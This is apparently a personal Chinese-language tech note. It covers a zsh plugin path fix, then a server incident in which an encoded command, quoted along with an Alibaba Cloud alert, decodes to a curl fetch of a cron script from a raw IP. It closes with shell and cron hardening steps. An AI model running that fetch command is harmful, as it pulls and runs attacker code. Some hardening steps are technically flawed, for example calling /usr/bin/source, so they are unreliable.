Mac zsh使用相关问题之一

解决zsh 找不到zsh插件的问题

解决方法
修改vim ~/.zshrc

添加如下内容：

fpath=(/usr/share/zsh/5.0.2/functions $fpath)

可疑编码命令

~ echo Y3VybCAtZnNTTCBodHRwOi8vMTQwLjk5LjMyLjQ4L2IyZjYyOC9jcm9uYi5zaAo=|base64 -d

curl -fsSL http://140.99.32.48/b2f628/cronb.sh

vim /etc/crontab

【阿里云】尊敬的[e-mail]：云盾云安全中心检测到您的服务器：123.57.78.161（whuang78.161 ）出现了可疑安全事件：可疑编码命令，建议您立即登录云安全中心控制台-安全告警处理https://t.aliyun.com/G7cSwaKO 进行处理。

在 CentOS 7 中，可以通过重定向或限制 source 命令的使用，减少被攻击的可能性。以下是一些常见的防护措施：

---

方法 1：为 source 创建安全别名

将 source 命令限制为只能加载可信目录中的文件。

1. 编辑用户的 Shell 配置文件 对于 Zsh 用户，编辑 ~/.zshrc：

vim ~/.zshrc

对于 Bash 用户，编辑 ~/.bashrc：

vim ~/.bashrc

2. 添加以下别名 将 source 命令重定向到特定目录：

alias source='restricted_source'

restricted_source() {
    ALLOWED_DIR="/trusted/directory"
    if [[ $1 == $ALLOWED_DIR/* ]]; then
        /usr/bin/source "$@"
    else
        echo "Error: Unauthorized source usage detected."
    fi
}

3. 刷新配置文件 执行以下命令使其生效：

source ~/.zshrc
或
source ~/.bashrc

4. 验证 测试加载受限路径：

source /trusted/directory/safe_script.sh  # 成功
source /tmp/malicious_script.sh          # 失败

---

方法 2：通过 Shell 限制 source

直接禁用 source 命令，强制使用其他安全方法（如 . 命令）。

1. 编辑配置文件 编辑用户的 Shell 配置文件，例如 ~/.bashrc 或 ~/.zshrc：

vim ~/.zshrc

2. 覆盖 **source** 命令 添加以下内容：

unalias source 2>/dev/null
source() {
    echo "The 'source' command is disabled for security reasons."
    return 1
}

unalias base64 2>/dev/null

base64() {

echo "The 'base64' command is disabled for security reasons."

return 1

}

3. 刷新配置文件 执行以下命令使其生效：

source ~/.zshrc

4. 测试 尝试运行 source 命令：

source /path/to/script.sh

输出应为：

The 'source' command is disabled for security reasons.

---

2. 加固系统，防止未来攻击

2.1 保护关键系统文件

将 /etc/crontab、/etc/rc.d/rc.local 等关键文件设为 只读，防止未经授权的修改：

chattr +i /etc/crontab
chattr +i /etc/rc.d/rc.local
chattr +i /etc/cron.d/*
chattr +i /etc/cron.daily/logrotate

如果需要修改文件，先移除保护：

chattr -i /etc/crontab

---

**2.2 禁用 **wget** 和 ****curl**

如果服务器不需要使用 wget 和 curl，可以禁用它们：

chmod 000 /usr/bin/wget
chmod 000 /usr/bin/curl

防止用户误用：

alias wget='echo "wget is disabled for security reasons"'
alias curl='echo "curl is disabled for security reasons"'

要恢复：

chmod 755 /usr/bin/wget
chmod 755 /usr/bin/curl
unalias wget
unalias curl

---

2.3 限制 **crontab** 访问权限

禁用非 root 用户的 crontab

编辑 /etc/cron.allow，添加允许使用 crontab 的用户：

echo "root" > /etc/cron.allow

确保 /etc/cron.deny 存在并清空：

> /etc/cron.deny

限制 crontab 仅允许 root 访问：

chmod 600 /etc/crontab
chown root:root /etc/crontab